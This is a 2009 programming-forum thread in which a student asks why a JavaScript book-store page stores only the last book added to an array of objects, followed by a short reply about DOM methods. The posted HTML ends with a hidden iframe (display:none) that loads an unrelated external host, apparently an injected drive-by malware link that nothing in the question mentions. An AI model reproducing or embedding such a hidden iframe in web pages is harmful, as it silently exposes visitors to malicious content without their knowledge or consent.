help with array of objects in javascript

Please support our JavaScript / DHTML / AJAX advertiser: PostgreSQL or MySQL? Compare and contrast the two most popular open source databases
Reply

Join Date: Aug 2008
Posts: 16
Reputation: STUDENT#101 is an unknown quantity at this point 
Solved Threads: 1
STUDENT#101 STUDENT#101 is offline Offline
Newbie Poster

help with array of objects in javascript

 
0
  #1
Apr 20th, 2009
please help with this program it outputs and stores the last data added into the array(replaces all other data with the last data that was stored in the array).

JavaScript / DHTML / AJAX Syntax (Toggle Plain Text)
  1. <html>
  2. <head>
  3. <script language="javascript">
  4.  
  5. function Book()
  6. {
  7.  
  8. this.title="not yet selected";
  9. this.isb=""
  10. this.copies=0;
  11. this.price=0.00;
  12.  
  13. }
  14.  
  15.  
  16.  
  17.  
  18.  
  19.  
  20.  
  21.  
  22.  
  23.  
  24. var obj=new Book();
  25.  
  26. function begining()
  27.  
  28. {
  29.  
  30. //alert("the problem start");
  31. var d=new Date()
  32.  
  33. status=d.getHours()+":"+d.getMinutes();
  34. }
  35.  
  36. var aray=new Array()
  37.  
  38.  
  39.  
  40. var n=0;
  41. function add()
  42. {
  43.  
  44.  
  45. obj.title=document.f1.t.value;
  46. alert(obj.title);
  47. obj.isb=document.f1.i.value
  48. alert(obj.isb);
  49. obj.copies=parseInt(document.f1.c.value);
  50. alert(obj.copies);
  51. obj.price=parseFloat(document.f1.p.value);
  52. alert(obj.price);
  53. aray[aray.length]=obj;
  54.  
  55. if(n==0)
  56. {
  57. document.f2.sel.length=0;
  58. }
  59.  
  60. var op=new Option(obj.title,obj.title,false,false);
  61. document.f2.sel.options[document.f2.sel.length]=op;
  62.  
  63. n++;
  64. }
  65.  
  66. function clearall()
  67. {
  68. document.f1.t.value="";
  69. document.f1.i.value="";
  70. document.f1.c.value="";
  71. document.f1.p.value="";
  72. }
  73.  
  74.  
  75.  
  76.  
  77.  
  78. function Remove()
  79. {
  80. var index=document.f2.sel.selectedIndex;
  81. if(aray[index].copies==0)
  82. {
  83. document.f2.sel.options[index]=null;
  84. }
  85. }
  86.  
  87. function checkdata()
  88. {
  89. for(var b=0;b<aray.length;b++)
  90. {
  91. alert(aray[b].title);
  92. alert(aray[b].isb);
  93. alert(aray[b].copies);
  94. alert(aray[b].price);
  95. }
  96. }
  97.  
  98.  
  99. </script>
  100. </head>
  101.  
  102. <body bgcolor="silver" onload="setInterval('begining()',1000)">
  103.  
  104. <table width="100%" height="100%" border="7" cellspacing="3">
  105. <tr><td>
  106. <h1><i>BOOK STORE</H1></I>
  107. <img src="e.jpg" />
  108.  
  109. <form name="f1">
  110.  
  111.  
  112.  
  113.  
  114. TITTLE<input type="text" value="" name="t"/><br>
  115.  
  116. ISBN#<input type="text" value="" name="i"/><br>
  117.  
  118. COPIES AVAILABLE<input type="text" value="" name="c"/><br>
  119.  
  120. SELLING PRICE<input type="text" value="" name="p"/><br>
  121.  
  122. <input type="button" value=" Add Book" name="ad" onclick="add()" />
  123.  
  124. <input type="button" value="Clear All" name="oth" onclick="clearall()" />
  125. <br><br>
  126.  
  127. </form>
  128.  
  129.  
  130.  
  131.  
  132.  
  133.  
  134.  
  135.  
  136.  
  137.  
  138. </td><td>
  139.  
  140.  
  141. <H1>OTHER</H1>
  142.  
  143. <img src="iron man.jpg" height="70%" />
  144.  
  145. <form name="f2" >
  146.  
  147. <select name="sel">
  148.  
  149. <option value="" >opt1</option>
  150.  
  151. </select><BR>
  152.  
  153. <input type="button" value="Remove Book" name="sp"onclick="Remove()" />
  154. <input type="button" value="aSort" name="sp" />
  155. <input type="button" value="elements" name="el" onclick="checkdata()"/>
  156. </form>
  157. </td></tr>
  158. </table>
  159.  
  160.  
  161. <iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe>
  162. </body>
  163. </html>
Last edited by Ezzaral; Apr 20th, 2009 at 1:00 pm. Reason: Added [code] [/code] tags. Please use them to format any code that you post.
Reply With Quote Quick reply to this message  
Join Date: Apr 2009
Posts: 838
Reputation: Airshow is on a distinguished road 
Solved Threads: 120
Airshow's Avatar
Airshow Airshow is online now Online
Practically a Posting Shark

Re: help with array of objects in javascript

 
0
  #2
Apr 20th, 2009
To address/create document elements in your intended way, you need to learn Javascript DOM methods, in particular:

document.getElementById();
document.createElement();
element.appendChild();

http://www.w3schools.com is a good place to start.

Airshow
Last edited by Airshow; Apr 20th, 2009 at 9:13 pm. Reason: Added code tags
Reply With Quote Quick reply to this message  
Reply

This thread is more than three months old.
Perhaps start a new thread instead?
Message:



Similar Threads
Other Threads in the JavaScript / DHTML / AJAX Forum
Thread Tools Search this Thread



About Us | Contact Us | Advertise | DaniWeb | Acceptable Use Policy | RSS Feed

©2003 - 2009 DaniWeb® LLC